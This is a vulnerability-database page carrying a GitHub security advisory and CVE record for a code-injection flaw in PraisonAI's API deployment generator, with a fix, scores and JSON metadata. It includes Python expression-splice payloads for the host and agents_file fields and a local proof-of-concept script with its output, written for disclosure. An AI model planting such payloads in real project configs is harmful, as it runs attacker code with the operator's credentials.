GHSA-79FV-7HQ9-W7XG

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36

Summary

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

Details

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.

The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:

def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
    ...
    code = f'''"""
...
        praisonai = PraisonAI(agent_file="{agents_file}")
...
        "agent_file": "{agents_file}"
...
    app.run(
        host='{config.host}',
        port={config.port},
        debug={config.reload}
    )
'''

The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '

The generated startup code then becomes equivalent to:

app.run(
    host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
    port=8005,
    debug=False,
)

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.

from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install_stubs():
    class FakeApp:
        def __init__(self, name):
            self.name = name

        def route(self, *args, **kwargs):
            def deco(func):
                return func

            return deco

        def run(self, *args, **kwargs):
            return None

    flask = types.ModuleType("flask")
    flask.Flask = FakeApp
    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
    flask.jsonify = lambda obj: obj
    sys.modules["flask"] = flask

    flask_cors = types.ModuleType("flask_cors")
    flask_cors.CORS = lambda app: app
    sys.modules["flask_cors"] = flask_cors

    praisonai_mod = types.ModuleType("praisonai")

    class FakePraisonAI:
        def __init__(self, agent_file):
            self.agent_file = agent_file

        def run(self):
            return "ok"

    praisonai_mod.PraisonAI = FakePraisonAI
    sys.modules["praisonai"] = praisonai_mod


def main(repo):
    sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
    from praisonai.deploy.api import generate_api_server_code
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.schema import validate_agents_yaml

    install_stubs()

    with tempfile.TemporaryDirectory() as tmp:
        tmp_path = Path(tmp)
        host_marker = tmp_path / "host-marker.txt"
        file_marker = tmp_path / "agent-file-marker.txt"
        host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
        agents_yaml = tmp_path / "agents.yaml"
        agents_yaml.write_text(yaml.safe_dump({
            "deploy": {
                "type": "api",
                "api": {"host": host_payload, "port": 8005, "auth_enabled": False},
            },
            "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
        }))
        parsed_config = validate_agents_yaml(str(agents_yaml))

        results = []
        for label, config in [
            ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
            ("malicious_host_from_yaml", parsed_config.api),
        ]:
            host_marker.unlink(missing_ok=True)
            code = generate_api_server_code("agents.yaml", config)
            compile(code, f"<generated-{label}>", "exec")
            exec(code, {"__name__": "__main__"})
            results.append({
                "case": label,
                "compiled": True,
                "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
                "marker_exists_after_startup": host_marker.exists(),
                "marker_contents": host_marker.read_text() if host_marker.exists() else None,
                "generated_contains_raw_host": config.host in code,
            })

        file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
        file_marker.unlink(missing_ok=True)
        code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
        compile(code, "<generated-agent-file>", "exec")
        namespace = {"__name__": "generated_agent_file"}
        exec(code, namespace)
        namespace["list_agents"]()
        results.append({
            "case": "malicious_agent_file_route_value",
            "compiled": True,
            "marker_exists_after_list_agents": file_marker.exists(),
            "marker_contents": file_marker.read_text() if file_marker.exists() else None,
            "generated_contains_raw_agent_file": file_payload in code,
        })

    print(json.dumps(results, indent=2))
    return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:

uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI

Decisive output:

[
  {
    "case": "safe_host",
    "compiled": true,
    "host_preserved_by_yaml_parser": null,
    "marker_exists_after_startup": false,
    "marker_contents": null,
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_host_from_yaml",
    "compiled": true,
    "host_preserved_by_yaml_parser": true,
    "marker_exists_after_startup": true,
    "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_agent_file_route_value",
    "compiled": true,
    "marker_exists_after_list_agents": true,
    "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
    "generated_contains_raw_agent_file": true
  }
]

The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai

Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0

Static sweep:

Target	Result
`v4.5.128`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.58`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.59`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.60`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.62`	affected; raw `agents_file` and `config.host` interpolation present
`v4.6.63`	affected; raw `agents_file` and `config.host` interpolation present
current `1620b49f`	affected; raw `agents_file` and `config.host` interpolation present

Suggested severity: High

Suggested CVSS v3.1:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Suggested CWEs:

CWE-94: Improper Control of Generation of Code
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.

This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

src/praisonai/praisonai/deploy/api.py: generate_api_server_code() and start_api_server()
src/praisonai/praisonai/deploy/main.py: Deploy.from_yaml() and API/Docker deployment paths
src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler
GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue
GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue
CWE-94: https://cwe.mitre.org/data/definitions/94.html
CWE-95: https://cwe.mitre.org/data/definitions/95.html
CWE-116: https://cwe.mitre.org/data/definitions/116.html

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:36:29Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI\u0027s API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -\u003e str:\n    ...\n    code = f\u0027\u0027\u0027\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host=\u0027{config.host}\u0027,\n        port={config.port},\n        debug={config.reload}\n    )\n\u0027\u0027\u0027\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host=\u0027\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\u0027,\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (\u003cside effect\u003e and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"\u0027 + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + \u0027\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"\u003cgenerated-{label}\u003e\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"\u003cgenerated-agent-file\u003e\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) \u003e 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator\u0027s environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host=\u0027{config.host}\u0027` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report\u0027s root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html",
  "id": "GHSA-79fv-7hq9-w7xg",
  "modified": "2026-10-08T19:36:29Z",
  "published": "2026-10-08T19:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source"
}

CVE-2026-61433 (GCVE-0-2026-61433)

Vulnerability from cvelistv5 – Published: 2026-07-15 11:25 – Updated: 2026-07-15 13:25

Title

PraisonAI before 4.6.78 Code Injection via API deployment generator

Summary

PraisonAI before 4.6.78 fails to safely encode deployment configuration values when generating Python source code for API servers. Attackers can inject arbitrary Python expressions through the deploy.api.host and agents_file configuration parameters that execute when the generated server starts or handles requests.

Severity

8.5 (High)


                        
                          CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 13:20 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 5277 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	vendor-advisory
https://github.com/MervinPraison/PraisonAI/commit…	patch
https://www.vulncheck.com/advisories/praisonai-be…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: 0 , < 4.6.78 (semver) Unaffected: 4.6.78 (semver) cpe:2.3:a:praison:praisonai::::::::

Date Public

2026-06-25 00:00

Credits

rexpository

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-61433",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T13:20:38.905616Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T13:25:34.001Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:pypi/praisonai",
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "lessThan": "4.6.78",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "4.6.78",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.6.78",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "rexpository"
        }
      ],
      "datePublic": "2026-06-25T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI before 4.6.78 fails to safely encode deployment configuration values when generating Python source code for API servers. Attackers can inject arbitrary Python expressions through the deploy.api.host and agents_file configuration parameters that execute when the generated server starts or handles requests."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 8.5,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T11:25:38.970Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-79fv-7hq9-w7xg)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
        },
        {
          "name": "VulnCheck Advisory: PraisonAI before 4.6.78 Code Injection via API deployment generator",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator"
        }
      ],
      "title": "PraisonAI before 4.6.78 Code Injection via API deployment generator",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-61433",
    "datePublished": "2026-07-15T11:25:38.970Z",
    "dateReserved": "2026-07-09T14:05:21.471Z",
    "dateUpdated": "2026-07-15T13:25:34.001Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-79FV-7HQ9-W7XG

API deploy code generator embeds unescaped YAML fields into Python source

Summary

Technical Details

PoV

PoC

Impact

Suggested Fix

Affected Package/Versions

Advisory History

References

CVE-2026-61433 (GCVE-0-2026-61433)

Tags

Sightings

Nomenclature

Related by attack behaviour